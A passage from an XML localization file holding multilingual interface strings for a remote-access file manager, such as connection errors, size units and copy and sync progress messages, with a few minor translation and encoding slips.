<it>La crittografia è attiva.</it>
<ru>Шифрование включено.</ru>
<ja>暗号化はアクティブです。</ja>
<zh>已激活加密。</zh>
<ko>암호화가 사용 중입니다.</ko>
<en-gb>Encryption is active.</en-gb>
<hu>A titkosítás aktív.</hu>
<pt-br>Criptografia ativa.</pt-br>
<nl>Codering is geactiveerd.</nl>
</msg>
<msg name="NOENCRYPT">
<en>Warning! Encryption is not active.</en>
<de>Achtung! Die Verschlüsselung ist nicht aktiv.</de>
<es>Aviso Cifrado no activado.</es>
<fr>Avertissement ! Cryptage inactif.</fr>
<it>Avviso! La crittografia non è attiva.</it>
<ru>Предупреждение! Шифрование не включено.</ru>
<ja>警告!暗号化はアクティブではありません。</ja>
<zh>警告!未激活加密。</zh>
<ko>경고! 암호화가 사용 중이 아닙니다.</ko>
<en-gb>Warning! Encryption is not active.</en-gb>
<hu>Figyelem! A titkosítás nem aktív.</hu>
<pt-br>Aviso! A criptografia não está ativa.</pt-br>
<nl>Waarschuwing! Codering is niet geactiveerd.</nl>
</msg>
<msg name="AUTH">
<en>Your identity has been verified.</en>
<es>Se ha modificado su identificación.</es>
<fr>Votre identité a été vérifiée</fr>
<de>Ihre Identität wurde überprüft.</de>
<it>L'identità dell'utente è stata verificata.</it>
<ru>Подлинность пользователя проверена.</ru>
<ja>識別は検証されました。</ja>
<zh>已验证您的身份。</zh>
<ko>사용자의 신원이 확인되었습니다.</ko>
<en-gb>Your identity has been verified.</en-gb>
<hu>A program ellenőrizte az Ön személyazonosságát.</hu>
<pt-br>Sua identidade foi verificada.</pt-br>
<nl>Uw identiteit is geverifieerd.</nl>
</msg>
<msg name="ERROR">
<en>An error has occurred.</en>
<de>Ein Fehler ist aufgetreten.</de>
<es>Ha ocurrido un error.</es>
<fr>Une erreur s'est produite.</fr>
<it>Si è verificato un errore.</it>
<ru>Возникла ошибка.</ru>
<ja>エラーが発生しました。</ja>
<zh>出现错误。</zh>
<ko>오류가 발생했습니다.</ko>
<en-gb>An error has occurred.</en-gb>
<hu>Hiba történt.</hu>
<pt-br>Ocorreu um erro.</pt-br>
<nl>Er is een fout opgetreden.</nl>
</msg>
</cat>
</cat>
</cat>
<!-- file manager messages -->
<!-- do not replace FAIL\n, MSG\n in localized versions -->
<cat name="FILEXFER">
<msg name="TITLE">
<en>File Manager</en>
<de>Dateitransfer</de>
<ja>ファイル管理</ja>
<es>Gestor de archivos</es>
<fr>Transfert de Fichier</fr>
<it>Gestione file</it>
<ru>Диспетчер файлов</ru>
<zh>文件管理器</zh>
<ko>파일 관리자</ko>
<en-gb>File Manager</en-gb>
<hu>Fájlkezelő</hu>
<pt-br>Gerenciador de arquivos</pt-br>
<nl>Bestandsbeheer</nl>
</msg>
<msg brand="LMI" name="TITLE">
<en>File Manager</en>
<de>Dateimanager</de>
<ja>ファイル管理</ja>
<es>Gestor de archivos</es>
<fr>Transfert de Fichier</fr>
<it>Gestione file</it>
<ru>Диспетчер файлов</ru>
<zh>文件管理器</zh>
<ko>파일 관리자</ko>
<en-gb>File Manager</en-gb>
<hu>Fájlkezelő</hu>
<pt-br>Gerenciador de arquivos</pt-br>
<nl>Bestandsbeheer</nl>
</msg>
<msg name="CLIENTNAME">
<en>File Manager Client</en>
<de>Dateitransfer Client</de>
<es>Cliente de Gestor de archivos</es>
<fr>Transfert de Fichiers Clients</fr>
<it>Client Gestione file</it>
<ru>Клиент диспетчера файлов</ru>
<ja>ファイル管理 クライアント</ja>
<zh>文件管理器客户端</zh>
<ko>파일 관리자 클라이언트</ko>
<en-gb>File Manager Client</en-gb>
<hu>Fájlkezelő kliensprogram</hu>
<pt-br>Cliente do Gerenciador de Arquivo</pt-br>
<nl>Bestandsbeheer-client</nl>
</msg>
<!-- connection errors -->
<msg name="NORIGHTS">
<en>FAIL\n
You do not have the rights to access files on this computer.\n\n
</en>
<de>FAIL\n
Sie besitzen keine Dateizugriffsberechtigungen auf diesem Computer.\n\n</de>
<es>FAIL\n
No tiene derechos para acceder a los archivos de este ordenador.\n\n</es>
<fr>FAIL\n
Vous n'avez pas les droits nécessaire pour accéder aux fichiers de cet ordinateur.\n\n</fr>
<it>FAIL\n
Non si dispone dei diritti per l'accesso ai file del computer.\n\n</it>
<ru>FAIL\n
У вас нет прав на удаленное управление данным компьютером.\n\n</ru>
<ja>FAIL\n このコンピュータのファイルにアクセスする権限がありません。\n\n</ja>
<zh>FAIL\n
您没有访问此计算机上文件的权限。\n\n</zh>
<ko>FAIL\n
이 컴퓨터에서 파일에 액세스할 수 있는 권한이 없습니다.\n\n</ko>
<en-gb>FAIL\n
You do not have the rights to access files on this computer.\n\n</en-gb>
<hu>FAIL\n
Önnek nincs jogosultsága a fájlok elérésére ezen a számítógépen.\n\n</hu>
<pt-br>FAIL\n
Você não tem direitos de acessar arquivos neste computador.\n\n</pt-br>
<nl>FAIL\n U beschikt niet over de vereiste rechten om toegang te krijgen tot de bestanden op deze computer.\n\n</nl>
</msg>
<!-- connection -->
<msg name="CONNECTION.CLOSED">
<en>Connection closed.</en>
<de>Verbindung geschlossen.</de>
<es>Conexión finalizada.</es>
<fr>Connexion terminée</fr>
<it>Connessione chiusa.</it>
<ru>Соединение закрыто.</ru>
<ja>接続が終了しました。</ja>
<zh>连接已关闭。</zh>
<ko>연결이 종료되었습니다.</ko>
<en-gb>Connection closed.</en-gb>
<hu>A kapcsolat lezárva.</hu>
<pt-br>Conexão fechada.</pt-br>
<nl>De verbinding is afgesloten.</nl>
</msg>
<msg name="DISCONNECTED">
<en>Connection lost.</en>
<de>Verbindung verloren.</de>
<es>Se ha perdido la conexión.</es>
<fr>Connexion perdue</fr>
<it>Connessione non più disponibile.</it>
<ru>Соединение потеряно.</ru>
<ja>接続が切断されました。</ja>
<zh>连接已丢失。</zh>
<ko>연결이 끊어졌습니다.</ko>
<en-gb>Connection lost.</en-gb>
<hu>A kapcsolat megszakadt.</hu>
<pt-br>Conexão perdida.</pt-br>
<nl>De verbinding is verbroken.</nl>
</msg>
<!-- error messages -->
<msg name="READY">
<en>Ready.</en>
<de>Bereit.</de>
<es>Listo.</es>
<fr>Prêt</fr>
<it>Pronto.</it>
<ru>Готово.</ru>
<ja>準備できました。</ja>
<zh>就绪。</zh>
<ko>준비.</ko>
<en-gb>Ready.</en-gb>
<hu>Kész.</hu>
<pt-br>Pronto.</pt-br>
<nl>Gereed.</nl>
</msg>
<msg name="PATHTOOLONG">
<en>Path too long.</en>
<de>Pfad zu lang.</de>
<es>Ruta demasiado larga.</es>
<fr>Chemin trop long</fr>
<it>Percorso troppo lungo.</it>
<ru>Слишком длинный путь.</ru>
<ja>パスが長過ぎます。</ja>
<zh>路径太长。</zh>
<ko>경로가 너무 깁니다.</ko>
<en-gb>Path too long.</en-gb>
<hu>Az elérési út túl hosszú.</hu>
<pt-br>Caminho muito longo.</pt-br>
<nl>Pad is te lang.</nl>
</msg>
<msg name="INVALIDPATH">
<en>Invalid path.</en>
<de>Ungültiger Pfad.</de>
<es>Ruta no válida.</es>
<fr>Chemin invalide</fr>
<it>Percorso non valido.</it>
<ru>Неверный путь.</ru>
<ja>無効なパスです。</ja>
<zh>无效路径。</zh>
<ko>경로가 올바르지 않습니다.</ko>
<en-gb>Invalid path.</en-gb>
<hu>Érvénytelen elérési út.</hu>
<pt-br>Caminho inválido.</pt-br>
<nl>Ongeldig pad.</nl>
</msg>
<msg name="INVALIDFILE">
<en>Invalid file.</en>
<de>Ungültige Datei.</de>
<es>Archivo no válido.</es>
<fr>Fichier invalide</fr>
<it>File non valido.</it>
<ru>Недопустимый файл.</ru>
<ja>無効なファイルです。</ja>
<zh>无效文件。</zh>
<ko>파일이 올바르지 않습니다.</ko>
<en-gb>Invalid file.</en-gb>
<hu>Érvénytelen fájl.</hu>
<pt-br>Arquivo inválido.</pt-br>
<nl>Ongeldig bestand.</nl>
</msg>
<msg name="NO.FILEIO">
<en>Cannot acquire file I/O permissions for the applet.</en>
<de>Kann die Ein/Ausgabe-Berechtigung für das Applet nicht bekommen.</de>
<es>No se puede adquirir los permisos I/O del archivo para el programa.</es>
<fr>Impossible d'obtenir les permissions I/O pour cet applet</fr>
<it>Impossibile acquisire le autorizzazioni di I/O dei file per l'applet.</it>
<ru>Не удается запросить разрешения на операции ввода-вывода с файлами для данного апплета.</ru>
<ja>アプレットに対するファイル I/O 許可を取得できません。</ja>
<zh>无法获得此小程序的文件 I/O 权限。</zh>
<ko>애플릿에 대한 파일 I/O 권한을 확보할 수 없습니다.</ko>
<en-gb>Cannot acquire file I/O permissions for the applet.</en-gb>
<hu>Nem szerezhet fájl bemeneti/kimeneti engedélyt a segédalkalmazáshoz.</hu>
<pt-br>Não é possível adquirir permissões de E/S de arquivo para este miniaplicativo.</pt-br>
<nl>Kan geen toestemmingen voor in- en uitvoer voor bestand verkrijgen voor de applet.</nl>
</msg>
<msg name="RECONNECTFAIL">
<en>Reconnection failed.</en>
<de>Wiederherstellen der Verbindung fehlgeschlagen.</de>
<es>Error al volverse a conectar.</es>
<fr>Echec de reconnexion</fr>
<it>Riconnessione non riuscita.</it>
<ru>Сбой переподключения.</ru>
<ja>再接続に失敗しました。</ja>
<zh>重新连接失败。</zh>
<ko>다시 연결하지 못했습니다.</ko>
<en-gb>Reconnection failed.</en-gb>
<hu>Az újracsatlakoztatás sikertelen volt.</hu>
<pt-br>Falha na reconexão.</pt-br>
<nl>Opnieuw verbinding maken is mislukt.</nl>
</msg>
<!-- size suffixes -->
<msg name="BYTE">
<en>\\ bytes</en>
<de>\\ bytes</de>
<es>\\ bytes</es>
<fr>\\ octets</fr>
<it>\\ byte</it>
<ru>\\ байт</ru>
<ja>\\ バイト</ja>
<zh>\\ B</zh>
<ko>\\ 바이트</ko>
<en-gb>\\ bytes</en-gb>
<hu>\\ bájt</hu>
<pt-br>\\ bytes</pt-br>
<nl>\\ bytes</nl>
</msg>
<msg name="KB">
<en>\\ Kilobytes</en>
<de>\\ Kilobytes</de>
<es>\\ Kilobytes</es>
<fr>\\ Kilooctets</fr>
<it>\\ KB</it>
<ru>\\ килобайт</ru>
<ja>\\ キロバイト</ja>
<zh>\\ KB</zh>
<ko>\\ KB</ko>
<en-gb>\\ Kilobytes</en-gb>
<hu>\\ Kilobájt</hu>
<pt-br>\\ Kilobytes</pt-br>
<nl>\\ kilobytes</nl>
</msg>
<msg name="SKB">
<en>\\ KB</en>
<de>\\ KB</de>
<es>\\ KB</es>
<fr>\\ Ko</fr>
<it>\\ KB</it>
<ru>\\ Кб</ru>
<ja>\\ KB</ja>
<zh>\\ KB</zh>
<ko>\\ KB</ko>
<en-gb>\\ KB</en-gb>
<hu>\\ KB</hu>
<pt-br>\\ KB</pt-br>
<nl>\\ KB</nl>
</msg>
<msg name="SMB">
<en>\\ MB</en>
<de>\\ MB</de>
<es>\\ MB</es>
<fr>\\ Mo</fr>
<it>\\ MB</it>
<ru>\\ Мб</ru>
<ja>\\ MB</ja>
<zh>\\ MB</zh>
<ko>\\ MB</ko>
<en-gb>\\ MB</en-gb>
<hu>\\ MB</hu>
<pt-br>\\ MB</pt-br>
<nl>\\ MB</nl>
</msg>
<msg name="SGB">
<en>\\ GB</en>
<de>\\ GB</de>
<es>\\ GB</es>
<fr>\\ Go</fr>
<it>\\ GB</it>
<ru>\\ Гб</ru>
<ja>\\ GB</ja>
<zh>\\ GB</zh>
<ko>\\ GB</ko>
<en-gb>\\ GB</en-gb>
<hu>\\ GB</hu>
<pt-br>\\ GB</pt-br>
<nl>\\ GB</nl>
</msg>
<msg name="NOTAVAIL">
<en>N/A</en>
<de>N/A</de>
<es>No corresponde</es>
<fr>N/A</fr>
<it>N/D</it>
<ru>Н/Д</ru>
<ja>該当なし</ja>
<zh>N/A</zh>
<ko>해당 사항 없음</ko>
<en-gb>N/A</en-gb>
<hu>Nem elérhető</hu>
<pt-br>N/A</pt-br>
<nl>N.v.t.</nl>
</msg>
<!-- file information -->
<msg name="DRIVELIST">
<en>drive list</en>
<de>Laufwerksliste</de>
<es>lista de unidades</es>
<fr>liste des lecteurs</fr>
<it>elenco unità</it>
<ru>список дисков</ru>
<ja>ドライブ リスト</ja>
<zh>驱动器列表</zh>
<ko>드라이브 목록</ko>
<en-gb>drive list</en-gb>
<hu>meghajtólista</hu>
<pt-br>lista de unidades</pt-br>
<nl>lijst met stations</nl>
</msg>
<msg name="SELECTED">
<en>$1 of $2 files selected; size: $3 of $4</en>
<de>$1 von $2 Dateien ausgewählt; Größe: $3 von $4</de>
<es>$1 de $2 archivos seleccionados; tamaño: $3 de $4</es>
<fr>$1 of $2 fichiers sélectionnés; taille: $3 of $4</fr>
<it>$1 di $2 file selezionati; dimensione: $3 di $4</it>
<ru>Выбрано $1 из $2 файлов, размер: $3 из $4</ru>
<ja>$2 ファイルのうち $1 個が選択されています; サイズ: $4 の $3</ja>
<zh>已选择 $2 个文件中的 $1 个,大小:$3/$4</zh>
<ko>$2개 파일 중 $1개 선택; 크기: $4개 중 $3개</ko>
<en-gb>$1 of $2 files selected; size: $3 of $4</en-gb>
<hu>$1 fájl kiválasztva $2 fájl közül; méret: $3 / $4</hu>
<pt-br>$1 de $2 arquivos selecionados; tamanho: $3 de $4</pt-br>
<nl>$1 van $2 bestanden geselecteerd; grootte: $3 van $4</nl>
</msg>
<msg name="DIRFREE">
<en>; free $1</en>
<de>; frei $1</de>
<es>; libre $1</es>
<fr>; libre $1</fr>
<it>; disponibile $1</it>
<ru>; свободно $1</ru>
<ja>; 空き領域 $1</ja>
<zh>;空闲 $1</zh>
<ko>; $1개 사용 가능</ko>
<en-gb>; free $1</en-gb>
<hu>; szabad $1</hu>
<pt-br>; livre $1</pt-br>
<nl>; beschikbaar $1</nl>
</msg>
<msg name="SIZE">
<en>; size: $1</en>
<de>;Größe: $1</de>
<es>; tamaño: $1</es>
<fr>; taille$1</fr>
<it>; dimensione: $1</it>
<ru>; размер: $1</ru>
<ja>; サイズ: $1</ja>
<zh>;大小:$1</zh>
<ko>; 크기: $1</ko>
<en-gb>; size: $1</en-gb>
<hu>; méret: $1</hu>
<pt-br>; tamanho: $1</pt-br>
<nl>; grootte: $1</nl>
</msg>
<msg name="SEARCH">
<en>Search: </en>
<de>Suche:</de>
<es>Buscar:</es>
<fr>Recharche:</fr>
<it>Cerca:</it>
<ru>Поиск:</ru>
<ja>検索 :</ja>
<zh>搜索:</zh>
<ko>검색:</ko>
<en-gb>Search:</en-gb>
<hu>Keresés:</hu>
<pt-br>Pesquisar:</pt-br>
<nl>Zoeken:</nl>
</msg>
<msg name="MODIFIED">
<en>; modified: $1</en>
<de>; modifiziert: $1</de>
<es>; modificado: $1</es>
<fr>; modifié: $1</fr>
<it>; modificato: $1</it>
<ru>; изменен: $1</ru>
<ja>; 変更済み : $1</ja>
<zh>;已修改:$1</zh>
<ko>; 수정한 날짜: $1</ko>
<en-gb>; modified: $1</en-gb>
<hu>; módosított: $1</hu>
<pt-br>; modificado: $1</pt-br>
<nl>; gewijzigd op: $1</nl>
</msg>
<!-- parameter requests -->
<msg name="NEWNAME">
<en>Enter new name:</en>
<de>Neuen Namen eingeben:</de>
<es>Introducir nuevo nombre:</es>
<fr>Entrez un nouveau nom:</fr>
<it>Immetti nuovo nome:</it>
<ru>Введите новое имя:</ru>
<ja>新しい名前の入力 :</ja>
<zh>输入新名称:</zh>
<ko>새 이름 입력:</ko>
<en-gb>Enter new name:</en-gb>
<hu>Adjon meg új nevet:</hu>
<pt-br>Digite seu nome:</pt-br>
<nl>Voer een nieuwe naam in:</nl>
</msg>
<msg name="NEWDIR">
<en>Create folder:</en>
<de>Ordner erstellen:</de>
<es>Crear carpeta:</es>
<fr>Nouveau dossier</fr>
<it>Crea cartella:</it>
<ru>Создать папку:</ru>
<ja>フォルダの作成 :</ja>
<zh>创建文件夹:</zh>
<ko>폴더 만들기:</ko>
<en-gb>Create folder:</en-gb>
<hu>Mappa létrehozása:</hu>
<pt-br>Criar pasta:</pt-br>
<nl>Map maken:</nl>
</msg>
<msg name="CHANGE.DIR">
<en>Change current folder to:</en>
<de>Springe vom aktuellen Ordner nach:</de>
<es>Cambiar carpeta actual a:</es>
<fr>Modifier dossier courant par:</fr>
<it>Cambia cartella corrente in:</it>
<ru>Изменить текущую папку на:</ru>
<ja>現在のフォルダを次に変更 :</ja>
<zh>将当前文件夹更改为:</zh>
<ko>현재 폴더 변경 위치:</ko>
<en-gb>Change current folder to:</en-gb>
<hu>Mappa módosítása erre:</hu>
<pt-br>Alterar pasta atual para:</pt-br>
<nl>Huidige map wijzigen in:</nl>
</msg>
<msg name="SELECT">
<en>Select files (leading '\\' = include directories):</en>
<de>Wählen Sie Dateien aus (führender '\\' = inklusive Verzeichnisse)</de>
<es>Seleccionar archivos(precedidas de "\\" = incluir directorios):</es>
<fr>Selection de fichiers(interligne'\\ '= dossiers inclus)</fr>
<it>Seleziona file (se preceduti da '\\' vengono incluse le directory):</it>
<ru>Выбрать файлы (использование в начале "\\" = включить каталоги):</ru>
<ja>ファイルの選択 (先頭の '\\' = ディレクトリを含む) :</ja>
<zh>选择文件(以“\\”开头表示包括目录):</zh>
<ko>파일 선택('\\'로 시작 = 디렉터리 포함):</ko>
<en-gb>Select files (leading '\\' = include directories):</en-gb>
<hu>Fájlok kijelölése (előtag '\\" = könyvtárakkal együtt):</hu>
<pt-br>Selecionar arquivos ('\\' à esquerda = incluir diretórios):</pt-br>
<nl>Bestanden selecteren (met prefix '\\' = inclusief mappen):</nl>
</msg>
<msg name="DESELECT">
<en>Unselect files (leading '\\' = include directories):</en>
<de>Wählen Sie Dateien ab (führender '\\' = inklusive Verzeichnisse):</de>
<es>Deshacer selección de archivos (precedidas de "\\" = incluir directorios):</es>
<fr>Désélection de fichiers (interligne '\\' = dossiers inclus):</fr>
<it>Deselezionare file (se preceduti da '\\' vengono incluse le directory):</it>
<ru>Отменить выделение файлов (использование в начале "\\" = включить каталоги):</ru>
<ja>ファイルの選択解除 (先頭の '\\' = ディレクトリを含む) :</ja>
<zh>取消选择文件(以“\\”开头表示包括目录):</zh>
<ko>파일 선택 취소('\\'로 시작 = 디렉터리 포함):</ko>
<en-gb>Unselect files (leading '\\' = include directories):</en-gb>
<hu>Fájlok kijelölésének megszüntetése (előtag '\\" = könyvtárakkal együtt):</hu>
<pt-br>Cancelar seleção de arquivos ('\\' à esquerda = incluir diretórios):</pt-br>
<nl>Selectie van bestanden opheffen (met prefix '\\' = inclusief mappen):</nl>
</msg>
<!-- status bar and progress dialog messages -->
<msg name="RENAMING">
<en>Renaming "$1" to "$2"... </en>
<de>"$1" zu "$2" umbenennen....</de>
<es>Cambiando nombre de "$1" a "$2"...</es>
<fr>Renommer "$1" to "$2"...</fr>
<it>Ridenominazione di "$1" in "$2"...</it>
<ru>Переименовать "$1" в "$2"...</ru>
<ja>"$1" を "$2"に名前を変更しています...</ja>
<zh>正在将“$1”重命名为“$2”...</zh>
<ko>"$1" 이름을 "$2"(으)로 바꾸는 중...</ko>
<en-gb>Renaming "$1" to "$2"...</en-gb>
<hu>"$1" átnevezése erre: "$2"...</hu>
<pt-br>Renomenado "$1" como "$2"...</pt-br>
<nl>Bezig met naam wijzigen van "$1" in "$2"...</nl>
</msg>
<msg name="CREATINGDIR">
<en>Creating folder "$1"... </en>
<de>Ordner "$1" wird angelegt ...</de>
<es>Crear carpeta "$1"...</es>
<fr>Nouveau dossier "$1"...</fr>
<it>Creazione della cartella "$1"...</it>
<ru>Создание папки "$1"...</ru>
<ja>フォルダ "$1" を作成しています...</ja>
<zh>正在创建文件夹“$1”...</zh>
<ko>"$1" 폴더를 만드는 중...</ko>
<en-gb>Creating folder "$1"...</en-gb>
<hu>"$1" mappa létrehozása...</hu>
<pt-br>Criando pasta "$1"...</pt-br>
<nl>Bezig met maken van map "$1"...</nl>
</msg>
<msg name="DELETING">
<en>Deleting files and/or folders... </en>
<de>Dateien und/oder Ordner werden gelöscht ...</de>
<es>Eliminando archivos y/o carpetas...</es>
<fr>Supression des fichiers et/ou des dossiers...</fr>
<it>Eliminazione di file e/o cartelle...</it>
<ru>Удаление файлов и/или папок...</ru>
<ja>ファイルとフォルダの両方、または一方を消去しています...</ja>
<zh>正在删除文件和/或文件夹...</zh>
<ko>파일 및/또는 폴더 삭제 중...</ko>
<en-gb>Deleting files and/or folders...</en-gb>
<hu>Fájlok és/vagy mappák törlése...</hu>
<pt-br>Excluindo arquivos e/ou pastas...</pt-br>
<nl>Bezig met verwijderen van bestanden en/of mappen...</nl>
</msg>
<msg name="COLLECTING">
<en>Collecting list of files to be copied...\\n\\n\\n</en>
<de>Die Liste der zu kopierenden Dateien wird erstellt ...\\n\\n\\n</de>
<es>Compilando lista de archivos que hay que copiar...\\n\\n\\n</es>
<fr>Récupération de la liste des fichiers à copier... \\n\\n\\n</fr>
<it>Raccolta dell'elenco di file da copiare...\\n\\n\\n</it>
<ru>Составление списка копируемых файлов...\\n\\n\\n</ru>
<ja>コピーするファイルのリストを収集しています...\\n\\n\\n</ja>
<zh>正在收集要复制的文件列表...\\n\\n\\n</zh>
<ko>복사할 파일 목록 수집 중...\\n\\n\\n</ko>
<en-gb>Collecting list of files to be copied...\\n\\n\\n</en-gb>
<hu>Másolandó fájlok listájának kigyűjtése...\\n\\n\\n</hu>
<pt-br>Coletando lista de arquivos a serem copiados...\\n\\n\\n</pt-br>
<nl>Bezig met het maken van lijst met bestanden die moeten worden gekopieerd...\\n\\n\\n</nl>
</msg>
<msg name="COLLECTINGSYNC">
<!-- see the comment at SYNCING.FILES for what "replication" means -->
<en>Preparing file list for replication...\\n\\n\\n</en>
<de>Dateiliste für die Replikation wird vorbereitet ... \\n\\n\\n</de>
<es>Preparando la lista de archivos para la replicación...\\n\\n\\n</es>
<fr>Préparation de la liste des fichiers pour la réplication...\\n\\n\\n</fr>
<it>Preparazione dell'elenco di file per la replica...\\n\\n\\n</it>
<ru>Подготовка списка файлов к репликации...\\n\\n\\n</ru>
<ja>レプリケーションするファイルのリストを収集しています...\\n\\n\\n</ja>
<zh>正在准备用于复制的文件列表...\\n\\n\\n</zh>
<ko>복제할 파일 목록 준비 중...\\n\\n\\n</ko>
<en-gb>Preparing file list for replication...\\n\\n\\n</en-gb>
<hu>Fájllista felkészítése replikálásra...\\n\\n\\n</hu>
<pt-br>Preparando lista de arquivos para replicação...\\n\\n\\n</pt-br>
<nl>Bezig met voorbereiden van lijst met bestanden voor replicatie...\\n\\n\\n</nl>
</msg>
<msg name="COLLECTINGMERGE">
<!-- see the comment at MERGING.FILES for what "synchronization" means -->
<en>Preparing file list for synchronization...\\n\\n\\n</en>
<de>Dateiliste für die Synchronisation wird vorbereitet ...\\n\\n\\n</de>
<es>Preparando la lista de archivos para la sincronización...\\n\\n\\n</es>
<fr>Préparation de la liste des fichiers pour synchronisation...\\n\\n\\n de</fr>
<it>Preparazione dell'elenco di file per la sincronizzazione...\\n\\n\\n</it>
<ru>Подготовка списка файлов к синхронизации...\\n\\n\\n</ru>
<ja>同期するファイルのリストを準備しています...\\n\\n\\n</ja>
<zh>正在准备用于同步的文件列表...\\n\\n\\n</zh>
<ko>동기화를 위해 파일 목록 준비 중...\\n\\n\\n</ko>
<en-gb>Preparing file list for synchronisation...\\n\\n\\n</en-gb>
<hu>Fájllista felkészítése szinkronizálásra...\\n\\n\\n</hu>
<pt-br>Preparando lista de arquivos para sincronização...\\n\\n\\n</pt-br>
<nl>Bezig met voorbereiden van lijst met bestanden voor synchronisatie...\\n\\n\\n</nl>
</msg>
<msg name="OPENING">
<en>Opening "$1"... </en>
<de>"$1" wird geöffnet ...</de>
<es>Abriendo "$1"...</es>
<fr>Ouverture "$1"...</fr>
<it>Apertura di "$1"...</it>
<ru>Открывается "$1"...</ru>
<ja>"$1" を開いています...</ja>
<zh>正在打开“$1”...</zh>
<ko>"$1"을(를) 여는 중...</ko>
<en-gb>Opening "$1"...</en-gb>
<hu>"$1" megnyitása...</hu>
<pt-br>Abrindo "$1"...</pt-br>
<nl>Bezig met openen van "$1"...</nl>
</msg>
<msg name="COPYING.FILES">
<en>Copying file(s)... </en>
<de>Dateien werden kopiert ...</de>
<es>Copiando archivo(s)...</es>
<fr>Copie de fichier(s)...</fr>
<it>Copia di file...</it>
<ru>Копирование файлов...</ru>
<ja>ファイルをコピーしています...</ja>
<zh>正在复制文件...</zh>
<ko>파일 복사 중...</ko>
<en-gb>Copying file(s)...</en-gb>
<hu>Fájl(ok) másolása...</hu>
<pt-br>Copiando arquivo(s)...</pt-br>
<nl>Bezig met kopiëren bestand(en)...</nl>
</msg>
<msg name="MOVING.FILES">
<en>Moving file(s)... </en>
<de>Dateien werden verschoben ...</de>
<es>Moviendo archivo(s)...</es>
<fr>Déplacement de fichier(s)...</fr>
<it>Spostamento di file...</it>
<ru>Перемещение файлов...</ru>
<ja>ファイルを移動しています...</ja>
<zh>正在移动文件...</zh>
<ko>파일 이동 중...</ko>
<en-gb>Moving file(s)...</en-gb>
<hu>Fájl(ok) másolása...</hu>
<pt-br>Movendo arquivo(s)...</pt-br>
<nl>Bezig met verplaatsen van bestand(en)...</nl>
</msg>
<msg name="SYNCING.FILES">
<!-- "replication" means copying changed files from the source to the target -->
<en>Replicating file(s)... </en>
<de>Dateien werden repliziert ...</de>
<es>Replicando archivo(s)...</es>
<fr>Réplication de fichier(s)...</fr>
<it>Replica di file...</it>
<ru>Репликация файлов...</ru>
<ja>ファイルのレプリケーションを実行しています...</ja>
<zh>正在复制文件...</zh>
<ko>파일 복제 중...</ko>
<en-gb>Replicating file(s)...</en-gb>
<hu>Fájl(ok) replikálása...</hu>
<pt-br>Replicando arquivo(s)...</pt-br>
<nl>Bezig met replicatie van bestand(en)...</nl>
</msg>
<msg name="MERGING.FILES">
<!-- "synchronization" means copying changed files from both sides to the other (source to target and target to source) -->
<en>Synchronizing file(s)... </en>
<de>Dateien werden synchronisiert ...</de>
<es>Sincronizando archivo(s)...</es>
<fr>Synchronisation de fichier(s)...</fr>
<it>Sincronizzazione di file...</it>
<ru>Синхронизация файлов...</ru>
<ja>ファイルを同期しています...</ja>
<zh>正在同步文件...</zh>
<ko>파일 동기화 중...</ko>
<en-gb>Synchronising file(s)...</en-gb>
<hu>Fájl(ok) szinkronizálása...</hu>
<pt-br>Sincronizando arquivo(s)...</pt-br>
<nl>Bezig met synchronisatie van bestand(en)...</nl>
</msg>
<msg name="COPYING">
<en>Copying "$1"\\nSpeed: $2/sec\\nCurrent file: $3% ($4 / $5)</en>
<de>"$1" wird kopiert\\nGeschwindigkeit: $2/sek\\nAktuelle Datei: $3% ($4 / $5)</de>
<es>Copiando "$1"\\nVelocidad: $2/seg.\\nArchivo actual: $3% ($4 / $5)</es>
<fr>Copie "$1"\\nRapidité: $2/sec\\nFichier courant : $3% ($4/$5)</fr>
<it>Copia di "$1"\\nVelocità: $2/sec\\nFile corrente: $3% ($4 / $5)</it>
<ru>Копируется $1\\nСкорость: $2/с\\nТекущий файл: $3% ($4 / $5)</ru>
<ja>"$1" をコピーしています \\n速度 :$2 / •b\\nŒ»Ý‚̃tƒ@ƒCƒ‹ : $3% ($4 / $5)</ja>
<zh>正在复制“$1”\\n速率:$2/秒\\n当前文件:$3% ($4 / $5)</zh>
<ko>"$1"을(를) 복사 중\\n속도: $2/초\\n현재 파일: $3% ($4 / $5)</ko>
<en-gb>Copying "$1"\\nSpeed: $2/sec\\nCurrent file: $3% ($4 / $5)</en-gb>
<hu>"$1" másolása\\nSebesség: $2/mp\\nJelenlegi fájl: $3% ($4 / $5)</hu>
<pt-br>Copiando "$1"\\nVelocidade: $2/seg\\nArquivo atual: $3% ($4 / $5)</pt-br>
<nl>Bezig met kopiëren van "$1"\\nSnelheid: $2/sec.\\nHuidig bestand: $3% ($4 / $5)</nl>
</msg>
<msg name="SYNCING">
<en>Synchronizing "$1"\\nSpeed: $2/sec\\n\\n</en>
<de>"$1" wird synchronisiert\\nGeschwindigkeit: $2/sek\\n\\n</de>
<es>Sincronizando "$1"\\nVelocidad: $2/seg.\\n\\n</es>
<fr>Synchronisation de "$1"\\nSpeed : $2/sec\\n\\n</fr>
<it>Sincronizzazione di "$1"\\nVelocità: $2/sec\\n\\n</it>
<ru>Синхронизация "$1"\\nСкорость: $2/с\\n\\n</ru>
<ja>"$1" を同期しています \\n速度 :$2 / 秒\\n\\n</ja>
<zh>正在同步“$1”\\n速率:$2/秒\\n\\n</zh>
<ko>"$1"을(를) 동기화 중\\n속도: $2/초\\n\\n</ko>
<en-gb>Synchronising "$1"\\nSpeed: $2/sec\\n\\n</en-gb>
<hu>"$1" szinkronizálása\\nSebesség: $2/mp\\n\\n</hu>
<pt-br>Sincronizando "$1"\\nVelocidade: $2/seg\\n\\n</pt-br>
<nl>Bezig met synchroniseren van "$1"\\nSnelheid: $2/sec.\\n\\n</nl>
</msg>
<msg name="MERGING">
<en>Synchronizing "$1"\\nSpeed: $2/sec\\n\\n</en>
<de>"$1" wird synchronisiert\\nGeschwindigkeit: $2/sek\\n\\n</de>
<es>Sincronizando "$1"\\nVelocidad: $2/seg.\\n\\n</es>
<fr>Synchronisation de "$1"\\nSpeed : $2/sec\\n\\n</fr>
<it>Sincronizzazione di "$1"\\nVelocità: $2/sec\\n\\n</it>
<ru>Синхронизация "$1"\\nСкорость: $2/с\\n\\n</ru>
<ja>"$1" を同期しています\\n速度 :$2 / 秒\\n\\n</ja>
<zh>正在同步“$1”\\n速率:$2/秒\\n\\n</zh>
<ko>"$1"을(를) 동기화 중\\n속도: $2/초\\n\\n</ko>
<en-gb>Synchronising "$1"\\nSpeed: $2/sec\\n\\n</en-gb>
<hu>"$1" szinkronizálása\\nSebesség: $2/mp\\n\\n</hu>
